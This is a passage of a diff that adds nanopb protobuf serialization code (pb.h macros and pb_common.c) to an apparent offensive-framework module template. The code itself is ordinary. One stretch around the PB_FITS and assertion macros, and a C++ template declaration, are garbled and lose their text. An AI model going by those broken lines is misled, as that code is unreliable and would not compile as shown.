PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +/* X-macro for generating asserts that entries fit in struct_field_info[] array. + * The structure of macros here must match the structure above in PB_GEN_FIELD_INFO_x(), + * but it is not easily reused because of how macro substitutions work. */ +#define PB_GEN_FIELD_INFO_ASSERT_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_ASSERT_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_DATA_OFFSET_STATIC(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_POINTER(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_CALLBACK(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DO_PB_HTYPE_REQUIRED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_SINGULAR(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_ONEOF(structname, fieldname) offsetof(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DO_PB_HTYPE_OPTIONAL(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_REPEATED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_FIXARRAY(structname, fieldname) offsetof(structname, fieldname) + +#define PB_SIZE_OFFSET_STATIC(htype, structname, fieldname) PB_SO ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_POINTER(htype, structname, fieldname) PB_SO_PTR ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_CALLBACK(htype, structname, fieldname) PB_SO_CB ## htype(structname, fieldname) +#define PB_SO_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF2(structname, PB_ONEOF_NAME(FULL, fieldname), PB_ONEOF_NAME(UNION, fieldname)) +#define PB_SO_PB_HTYPE_ONEOF2(structname, fullname, unionname) PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) +#define PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) pb_delta(structname, fullname, which_ ## unionname) +#define PB_SO_PB_HTYPE_OPTIONAL(structname, fieldname) pb_delta(structname, fieldname, has_ ## fieldname) +#define PB_SO_PB_HTYPE_REPEATED(structname, fieldname) pb_delta(structname, fieldname, fieldname ## _count) +#define PB_SO_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REPEATED(structname, fieldname) PB_SO_PB_HTYPE_REPEATED(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_CB_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REPEATED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_FIXARRAY(structname, fieldname) 0 + +#define PB_ARRAY_SIZE_STATIC(htype, structname, fieldname) PB_AS ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_POINTER(htype, structname, fieldname) PB_AS_PTR ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_CALLBACK(htype, structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REPEATED(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_REPEATED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname[0]) + +#define PB_DATA_SIZE_STATIC(htype, structname, fieldname) PB_DS ## htype(structname, fieldname) +#define PB_DATA_SIZE_POINTER(htype, structname, fieldname) PB_DS_PTR ## htype(structname, fieldname) +#define PB_DATA_SIZE_CALLBACK(htype, structname, fieldname) PB_DS_CB ## htype(structname, fieldname) +#define PB_DS_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)[0]) +#define PB_DS_PTR_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0][0]) +#define PB_DS_CB_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_CB_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname) + +#define PB_ONEOF_NAME(type, tuple) PB_EXPAND(PB_ONEOF_NAME_ ## type tuple) +#define PB_ONEOF_NAME_UNION(unionname,membername,fullname) unionname +#define PB_ONEOF_NAME_MEMBER(unionname,membername,fullname) membername +#define PB_ONEOF_NAME_FULL(unionname,membername,fullname) fullname + +#define PB_GEN_SUBMSG_INFO(structname, atype, htype, ltype, fieldname, tag) \ + PB_SUBMSG_INFO_ ## htype(_PB_LTYPE_ ## ltype, structname, fieldname) + +#define PB_SUBMSG_INFO_REQUIRED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_SINGULAR(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_OPTIONAL(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_ONEOF(ltype, structname, fieldname) PB_SUBMSG_INFO_ONEOF2(ltype, structname, PB_ONEOF_NAME(UNION, fieldname), PB_ONEOF_NAME(MEMBER, fieldname)) +#define PB_SUBMSG_INFO_ONEOF2(ltype, structname, unionname, membername) PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) +#define PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) PB_SI ## ltype(structname ## _ ## unionname ## _ ## membername ## _MSGTYPE) +#define PB_SUBMSG_INFO_REPEATED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_FIXARRAY(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SI_PB_LTYPE_BOOL(t) +#define PB_SI_PB_LTYPE_BYTES(t) +#define PB_SI_PB_LTYPE_DOUBLE(t) +#define PB_SI_PB_LTYPE_ENUM(t) +#define PB_SI_PB_LTYPE_UENUM(t) +#define PB_SI_PB_LTYPE_FIXED32(t) +#define PB_SI_PB_LTYPE_FIXED64(t) +#define PB_SI_PB_LTYPE_FLOAT(t) +#define PB_SI_PB_LTYPE_INT32(t) +#define PB_SI_PB_LTYPE_INT64(t) +#define PB_SI_PB_LTYPE_MESSAGE(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_MSG_W_CB(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_SFIXED32(t) +#define PB_SI_PB_LTYPE_SFIXED64(t) +#define PB_SI_PB_LTYPE_SINT32(t) +#define PB_SI_PB_LTYPE_SINT64(t) +#define PB_SI_PB_LTYPE_STRING(t) +#define PB_SI_PB_LTYPE_UINT32(t) +#define PB_SI_PB_LTYPE_UINT64(t) +#define PB_SI_PB_LTYPE_EXTENSION(t) +#define PB_SI_PB_LTYPE_FIXED_LENGTH_BYTES(t) +#define PB_SUBMSG_DESCRIPTOR(t) &(t ## _msg), + +/* The field descriptors use a variable width format, with width of either + * 1, 2, 4 or 8 of 32-bit words. The two lowest bytes of the first byte always + * encode the descriptor size, 6 lowest bits of field tag number, and 8 bits + * of the field type. + * + * Descriptor size is encoded as 0 = 1 word, 1 = 2 words, 2 = 4 words, 3 = 8 words. + * + * Formats, listed starting with the least significant bit of the first word. + * 1 word: [2-bit len] [6-bit tag] [8-bit type] [8-bit data_offset] [4-bit size_offset] [4-bit data_size] + * + * 2 words: [2-bit len] [6-bit tag] [8-bit type] [12-bit array_size] [4-bit size_offset] + * [16-bit data_offset] [12-bit data_size] [4-bit tag>>6] + * + * 4 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit array_size] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * + * 8 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit reserved] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * [32-bit array_size] + * [32-bit reserved] + * [32-bit reserved] + * [32-bit reserved] + */ + +#define PB_FIELDINFO_1(tag, type, data_offset, data_size, size_offset, array_size) \ + (0 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(data_offset) & 0xFF) << 16) | \ + (((uint32_t)(size_offset) & 0x0F) << 24) | (((uint32_t)(data_size) & 0x0F) << 28)), + +#define PB_FIELDINFO_2(tag, type, data_offset, data_size, size_offset, array_size) \ + (1 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFF) << 16) | (((uint32_t)(size_offset) & 0x0F) << 28)), \ + (((uint32_t)(data_offset) & 0xFFFF) | (((uint32_t)(data_size) & 0xFFF) << 16) | (((uint32_t)(tag) & 0x3c0) << 22)), + +#define PB_FIELDINFO_4(tag, type, data_offset, data_size, size_offset, array_size) \ + (2 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFFF) << 16)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), + +#define PB_FIELDINFO_8(tag, type, data_offset, data_size, size_offset, array_size) \ + (3 | (((tag) << 2) & 0xFF) | ((type) << 8)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), (array_size), 0, 0, 0, + +/* These assertions verify that the field information fits in the allocated space. + * The generator tries to automatically determine the correct width that can fit all + * data associated with a message. These asserts will fail only if there has been a + * problem in the automatic logic - this may be worth reporting as a bug. As a workaround, + * you can increase the descriptor width by defining PB_FIELDINFO_WIDTH or by setting + * descriptorsize option in .options file. + */ +#define PB_FITS(value,bits) ((uint32_t)(value) < ((uint32_t)1<2GB messages with nanopb anyway. + */ +#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag) + +#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,31), FIELDINFO_DOES_NOT_FIT_width8_field ## tag) +#endif + + +/* Automatic picking of FIELDINFO width: + * Uses width 1 when possible, otherwise resorts to width 2. + * This is used when PB_BIND() is called with "AUTO" as the argument. + * The generator will give explicit size argument when it knows that a message + * structure grows beyond 1-word format limits. + */ +#define PB_FIELDINFO_WIDTH_AUTO(atype, htype, ltype) PB_FI_WIDTH ## atype(htype, ltype) +#define PB_FI_WIDTH_PB_ATYPE_STATIC(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_POINTER(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_CALLBACK(htype, ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_REQUIRED(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_SINGULAR(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_OPTIONAL(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_ONEOF(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_REPEATED(ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_FIXARRAY(ltype) 2 +#define PB_FI_WIDTH_PB_LTYPE_BOOL 1 +#define PB_FI_WIDTH_PB_LTYPE_BYTES 2 +#define PB_FI_WIDTH_PB_LTYPE_DOUBLE 1 +#define PB_FI_WIDTH_PB_LTYPE_ENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_UENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_FLOAT 1 +#define PB_FI_WIDTH_PB_LTYPE_INT32 1 +#define PB_FI_WIDTH_PB_LTYPE_INT64 1 +#define PB_FI_WIDTH_PB_LTYPE_MESSAGE 2 +#define PB_FI_WIDTH_PB_LTYPE_MSG_W_CB 2 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_STRING 2 +#define PB_FI_WIDTH_PB_LTYPE_UINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_UINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_EXTENSION 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED_LENGTH_BYTES 2 + +/* The mapping from protobuf types to LTYPEs is done using these macros. */ +#define PB_LTYPE_MAP_BOOL PB_LTYPE_BOOL +#define PB_LTYPE_MAP_BYTES PB_LTYPE_BYTES +#define PB_LTYPE_MAP_DOUBLE PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_ENUM PB_LTYPE_VARINT +#define PB_LTYPE_MAP_UENUM PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_FIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_FIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_FLOAT PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_INT32 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_INT64 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_MESSAGE PB_LTYPE_SUBMESSAGE +#define PB_LTYPE_MAP_MSG_W_CB PB_LTYPE_SUBMSG_W_CB +#define PB_LTYPE_MAP_SFIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_SFIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_SINT32 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_SINT64 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_STRING PB_LTYPE_STRING +#define PB_LTYPE_MAP_UINT32 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_UINT64 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_EXTENSION PB_LTYPE_EXTENSION +#define PB_LTYPE_MAP_FIXED_LENGTH_BYTES PB_LTYPE_FIXED_LENGTH_BYTES + +/* These macros are used for giving out error messages. + * They are mostly a debugging aid; the main error information + * is the true/false return value from functions. + * Some code space can be saved by disabling the error + * messages if not used. + * + * PB_SET_ERROR() sets the error message if none has been set yet. + * msg must be a constant string literal. + * PB_GET_ERROR() always returns a pointer to a string. + * PB_RETURN_ERROR() sets the error and returns false from current + * function. + */ +#ifdef PB_NO_ERRMSG +#define PB_SET_ERROR(stream, msg) PB_UNUSED(stream) +#define PB_GET_ERROR(stream) "(errmsg disabled)" +#else +#define PB_SET_ERROR(stream, msg) (stream->errmsg = (stream)->errmsg ? (stream)->errmsg : (msg)) +#define PB_GET_ERROR(stream) ((stream)->errmsg ? (stream)->errmsg : "(none)") +#endif + +#define PB_RETURN_ERROR(stream, msg) return PB_SET_ERROR(stream, msg), false + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#ifdef __cplusplus +#if __cplusplus >= 201103L +#define PB_CONSTEXPR constexpr +#else // __cplusplus >= 201103L +#define PB_CONSTEXPR +#endif // __cplusplus >= 201103L + +#if __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR inline constexpr +#else // __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR PB_CONSTEXPR +#endif // __cplusplus >= 201703L + +extern "C++" +{ +namespace nanopb { +// Each type will be partially specialized by the generator. +template struct MessageDescriptor; +} // namespace nanopb +} +#endif /* __cplusplus */ + +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.c b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.c new file mode 100644 index 0000000..6aee76b --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_common.c @@ -0,0 +1,388 @@ +/* pb_common.c: Common support functions for pb_encode.c and pb_decode.c. + * + * 2014 Petteri Aimonen + */ + +#include "pb_common.h" + +static bool load_descriptor_values(pb_field_iter_t *iter) +{ + uint32_t word0; + uint32_t data_offset; + int_least8_t size_offset; + + if (iter->index >= iter->descriptor->field_count) + return false; + + word0 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + iter->type = (pb_type_t)((word0 >> 8) & 0xFF); + + switch(word0 & 3) + { + case 0: { + /* 1-word format */ + iter->array_size = 1; + iter->tag = (pb_size_t)((word0 >> 2) & 0x3F); + size_offset = (int_least8_t)((word0 >> 24) & 0x0F); + data_offset = (word0 >> 16) & 0xFF; + iter->data_size = (pb_size_t)((word0 >> 28) & 0x0F); + break; + } + + case 1: { + /* 2-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + + iter->array_size = (pb_size_t)((word0 >> 16) & 0x0FFF); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 28) << 6)); + size_offset = (int_least8_t)((word0 >> 28) & 0x0F); + data_offset = word1 & 0xFFFF; + iter->data_size = (pb_size_t)((word1 >> 16) & 0x0FFF); + break; + } + + case 2: { + /* 4-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + + iter->array_size = (pb_size_t)(word0 >> 16); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + + default: { + /* 8-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + uint32_t word4 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 4]); + + iter->array_size = (pb_size_t)word4; + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + } + + if (!iter->message) + { + /* Avoid doing arithmetic on null pointers, it is undefined */ + iter->pField = NULL; + iter->pSize = NULL; + } + else + { + iter->pField = (char*)iter->message + data_offset; + + if (size_offset) + { + iter->pSize = (char*)iter->pField - size_offset; + } + else if (PB_HTYPE(iter->type) == PB_HTYPE_REPEATED && + (PB_ATYPE(iter->type) == PB_ATYPE_STATIC || + PB_ATYPE(iter->type) == PB_ATYPE_POINTER)) + { + /* Fixed count array */ + iter->pSize = &iter->array_size; + } + else + { + iter->pSize = NULL; + } + + if (PB_ATYPE(iter->type) == PB_ATYPE_POINTER && iter->pField != NULL) + { + iter->pData = *(void**)iter->pField; + } + else + { + iter->pData = iter->pField; + } + } + + if (PB_LTYPE_IS_SUBMSG(iter->type)) + { + iter->submsg_desc = iter->descriptor->submsg_info[iter->submessage_index]; + } + else + { + iter->submsg_desc = NULL; + } + + return true; +} + +static void advance_iterator(pb_field_iter_t *iter) +{ + iter->index++; + + if (iter->index >= iter->descriptor->field_count) + { + /* Restart */ + iter->index = 0; + iter->field_info_index = 0; + iter->submessage_index = 0; + iter->required_field_index = 0; + } + else + { + /* Increment indexes based on previous field type. + * All field info 